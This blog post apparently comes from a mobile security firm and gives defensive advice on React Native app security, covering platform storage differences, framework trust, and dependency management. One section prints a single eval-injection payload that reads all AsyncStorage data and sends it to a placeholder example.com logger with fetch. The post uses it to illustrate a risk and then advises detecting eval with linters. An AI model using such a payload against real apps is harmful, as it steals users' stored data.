22 Oct 2020

React Native security: things to keep in mind

When developers choose to use React Native as a platform for their mobile apps, they think about the benefits of one codebase for two platforms, increased development speed and advantages of TypeScript.

But what about application security? Many articles claim that React Native apps are less secure. In this article, we shed light on React Native apps’ security based on our experience, and explain some risks and threats developers should address to prevent typical mistakes.


  1. React Native app architecture
  2. Keeping an eye on typical JavaScript vulnerabilities
  3. 50 shades of dependencies
  4. So... What do you need to build a secure React Native app?
  5. Closing thoughts

React Native app architecture

Let's start with the basics. What is React Native?

React Native is a cross-platform solution that allows writing native apps using React (JavaScript or TypeScript). The native app executes JavaScript code with the native or custom JavaScript engine in a separate thread. Native JS engine uses the source code stored in .jsbundle file, while custom JS engines can have various behaviours.


Communication between JavaScript engine and native parts of the application happens with the help of the so-called Bridge: when some events occur in the native part of the app, they are turned into serialized messages, batched, and asynchronously passed to the JavaScript engine. It works a similar way for events from JavaScript engine to a native app.

When looking at the React Native app from the security perspective, you need to analyze all its parts one by one, and the communication between them as well. It requires an understanding of iOS and Android native platforms, JavaScript engines, and the connection between them – the Bridge.

The Bridge is responsible for communication between native platform and JS engine.


Read further to learn security considerations about each component.


Improper platform usage

The initial security advice for both native and React Native apps is the same: use native platform features appropriately.

OWASP Mobile Top 10 states that the most common security issue is "Improper Platform Usage" that includes misusing of the platform-specific features like biometric authentication, persistent storage, hardware-backed encryption, WebView components, etc.

Why do these issues arise?

Using platform-specific features requires an understanding of platform's risks and threats, OS functioning, and application architecture. OWASP analysis (Mobile Top 10 and MASVS) reveals that app developers have a foggy notion of each platform security specifics. When it comes to React Native developers, it is assumed that they should be aware of security implications for both platforms, so challenges multiply.

Many mobile applications depend on their backend services, which define the app's behaviour and architecture. Configuring security controls on the mobile-side often requires synchronizing them with the backend.

The collaboration of backend and mobile app developers is key to produce secure mobile applications.

The community around React Native platform provides common modules for platform-specific features. They help React Native developers save precious time by avoiding writing native code. The downside is that the additional abstraction layer distances developers from app internals even further.


We help companies with mobile security engineering and end-to-end encryption. Read how we secured notes in Bear iOS and macOS apps using Themis:


React Native is a leaky abstraction

iOS and Android applications have similar architecture, but certain features work very differently under the hood. React Native provides an abstraction layer that leaks details of implementation for each platform.

For example, let's see how we can natively store sensitive data with SecureStore.

SecureStore module is a part of the popular Expo framework used for React apps in JavaScript and TypeScript. It provides a way to encrypt and securely store data locally on the device.

SecureStore on iOS

SecureStore uses Keychain to store the data in iOS. Keychain is an encrypted system storage that is persistent across app reinstalls. Keychain supports hardware-backed encryption with Secure Enclave starting with iPhone 5s (A5 chip). It means that the devices, running two latest iOS versions (iOS 13 and 14), support hardware-backed encryption mechanisms. Generally, Keychain gets unlocked (decrypted) when the device is unlocked with a passcode, biometrics, or just by pressing the Home button.

SecureStore on Android

Things are different for Android. SecureStore stores the data in SharedPreferences, providing a way to encrypt it using Android KeyStore. Taking into account a wide variety of Android devices, your app may run on the one that doesn't support a hardware-backed KeyStore. Values stored this way are decrypted on demand (when they are referenced). SharedPreferences storage is not persistent across app reinstalls.

iOS
(Keychain)
Android
(SharedPreferences
+ KeyStore)
Data stored encrypted
Data persists across app reinstalls
Hardware-backed encryption ➕ / ➖
Data decrypted only before usage

Comparison of SecureStore internals: it works differently for iOS and Android.


Such significant differences mean that even if developers use SecureStore to abstract away from the native platform, they will still end up implementing platform-specific security features:

● OWASP MASVS L2 recommends erasing sensitive data from iOS Keychain if the app was reinstalled. This is an out-of-the-box feature for Android.

● Hardware-based key management significantly improves the app's security and prevents common mistakes like storing encryption keys in plist/SharedPreferences. While it's available out-of-the-box for all latest iPhones and iOS versions, Android apps require additional work as hardware-based KeyStore is not guaranteed.

● OWASP MASVS L2 suggests encrypting sensitive data before placing it to Keychain. This introduces an additional Defence-in-Depth layer and allows keeping the data encrypted until it is needed in the app.


This example demonstrates the importance of understanding how the internals of React Native components work with native features, especially when they are related to security controls.


Should you trust React Native platform?

React Native platform is a third-party framework developed by Facebook. When making apps for iOS and Android, developers trust functionality provided by the iOS and Android systems, their libraries, their hardware. Adding the React Native framework means adding another party that should be trusted as well.

React Native on iOS

iOS apps consist of native code (aka “native part”) and React Native part. While the native part and Apple JavaScriptCore engine are based on native system functionality, the internal logic of the Bridge is created and supported by Facebook.

Who knows what Facebook code is inside The Bridge?

There are no custom production-ready alternatives to JavaScriptCore at this moment. However, Apple doesn’t prohibit their usage.


React Native on Android

React Native applications for Android use a custom JavaScript engine called Hermes (starting with React Native 0.60.4). Hermes is created by Facebook and optimized for running JavaScript on Android.

The advantage of a custom JavaScript engine is the improved handling of JavaScript code — it’s possible to compile JavaScript into a binary file and use it.

iOS application bundle, on the contrary, contains a JavaScript code file, which is a plaintext JavaScript source of the application. It is not obfuscated, just minimized, making it one of the potential sensitive assets.

Facebook becomes a part of supply chain for React Native apps on Android.

On the other hand, using a custom JavaScript engine can be a disadvantage since it might become another source of unexpected security behaviour by itself.

For Hermes, you can take a look at what vulnerabilities have been found and addressed to date CVE-2020-1913, CVE-2020-1912, CVE-2020-1911.


Single point of trust or Single point of failure?

When a significant number of applications have the same component, this component has a higher chance of being targeted by an attacker.

Also, it is not guaranteed that third-party components will be aligned with native functionality updates. This can lead to various bugs, including security-related ones. Imagine that a regular iOS update changes something in the JavaScript engine and breaks communication between native source code and JavaScript source code. As a result, the app becomes nonfunctional.

Trusting React Native platform and its components (the Bridge, Hermes) means that you understand and accept potential security consequences.

Keeping an eye on typical JavaScript vulnerabilities

As React Native apps are using JavaScript, ReactJS to be more specific, the security analysis of RN apps includes a search for typical JS-related vulnerabilities, like XSS attacks.

Generally, the attack surface is pretty wide for pure JavaScript applications. It narrows down for ReactJS, and it narrows down even more for React Native.

For example, React Native source code doesn’t use HTML elements (as opposed to Cordova apps). Typical browser-based XSS vectors (f.e. based on href attribute) are relevant for ReactJS but not for React Native. It makes sense because React Native apps are not browser-based, they only run JavaScript code.

Even though React Native apps are associated with an adequate level of protection against XSS attacks, developers can use potentially dangerous API in JavaScript code, like the eval() function.

Code below shows how to steal all the data from local storage (AsyncStorage) by exploiting eval-based injection and accessing React Native APIs:


_reactNative.AsyncStorage.getAllKeys(function(err,result){_reactNative.AsyncStorage.multiGet(result,function(err,result){fetch('http://example.com/logger.php?token='+JSON.stringify(result));});});

Eval-based injection that steals data from local storage. Source.


Eval-based injections work when it’s possible to pass a malicious string (like above) for dynamic evaluation (either when JavaScript code calls eval directly or indirectly).

Linters and static code analysers (f.e. ESLint) can detect usage of dangerous functions like eval(), and notify developers.


Struggling with mobile app security?
Get assistance from our engineers.


50 shades of dependencies

React Native creators promote the "Learn once, write anywhere" approach. As a result, many developers avoid writing features in native code in favour of React Native. Even if the required feature is not presented in the React Native SDK, it is likely to be already implemented in some community-driven modules.

Therefore, React Native applications tend to contain more than a dozen dependencies. Each dependency can have other dependencies underneath. A couple of dozens is turning into hundreds.

A typical day for React Native app developer.

Supporting such infrastructure requires additional efforts: continuous dependency scanning, security patches, and upgrades. A large number of dependencies increases the risk of supply chain attacks and zero-day vulnerabilities.


Monitor dependencies with known security issues

Continuous dependency scanning and patching is an essential step in Secure-SDLC and automated security testing of React Native apps. However, developers tend to postpone updating dependencies with potential security issues, because dependencies are often heavily interconnected with each other, and updating one causes updates of others.

Many tools help in automating the update process (f.e. Dependabot), but manual work always remains for modules that can't be updated easily.


If one of the app’s dependencies has a reported security issue and can't be easily patched, consider the following:

● Learn more about the security issue: its scope and risks. It can be irrelevant to the project (f.e. vulnerable code that your app never calls). Seek professional advice if the risks are not clear.

● Document the issue to make the team aware. Even if it is irrelevant to the project, it can become relevant in the future.

● Triage the issue with a security team, and schedule updating or replacing the dependency.

● Book time for the team to deal with security issues: some of them appear all of a sudden and require immediate action, others can be solved during scheduled “security sprints”.



Be ready to react

React Native is an open-source platform, which means that sometimes developers fork the original repository and build apps using their own React Native fork. The decision to use a forked repo can introduce new bugs and affect the speed of addressing updates from the original repo.

iOS and Android ecosystems themselves are also updated quite often, and it takes time for React Native platform to support the changes. It takes time for forked repos to pull off changes from the original repo. Then it takes time for dependencies to be updated. And only after all these updates developers can start updating their apps.

If developers want to use new iOS/Android features, they need to wait till React Native and libraries are updated.

When choosing React Native as a platform for mobile applications, accept the risk of delayed updates (compared to pure native apps) and increased MTTD/MTTR, and prepare a remediation strategy.


So... What do you need to build a secure React Native app?

✔ Trusting React Native framework. While mobile developers have to trust Apple and Google by default, using React Native requires trusting Facebook as well.

✔ Having security expertise on every platform. Implementing security controls requires profound knowledge about every platform: iOS, Android, React Native. Your development team should contain highly experienced React Native engineers with expertise in native security controls. Alternatively, you can hire an external security team with expertise in mobile application security.

✔ Minding the React Native specific vulnerabilities. React Native applications introduce new unique threat vectors that should be mitigated. Investing time into a proper risk assessment exercise, having a Risks and Threats Model (based on things you’ve learnt here) will help your team to visualize the security landscape and simplify security decision making.

✔ React Native apps are still mobile apps. In addition to React Native security specifics, OWASP MASVS and MSTG should be used as a foundation of appropriate security measures in React Native apps.

✔ Accepting timing risks. As React Native apps depend on a React Native platform and typically have numerous dependencies, updating them is not as quick as updating native apps (including security updates). Regular “maintenance and updates” sprints and response to critical issues should be a part of product security strategy.

✔ Managing the dependencies. Establish a process for selecting, researching, updating, and replacing the dependencies. Use automated dependency analyzers and code scanning tools to detect known vulnerabilities and patch dependencies.


Closing thoughts

Mobile apps written with React Native can be well-protected. It has its own cost and additional risks. To make your app secure, you need to follow the best practices of Secure Software Development Lifecycle, define and address possible risks, plan your security controls, and prepare a remediation strategy. Invest your time in building a threat model for your application as it helps to bring together security and usability of the app.

If you’re struggling with app security, you’re not alone, feel free to drop us a line to get some assistance.


This post is authored by Julia. Say hi to her 👋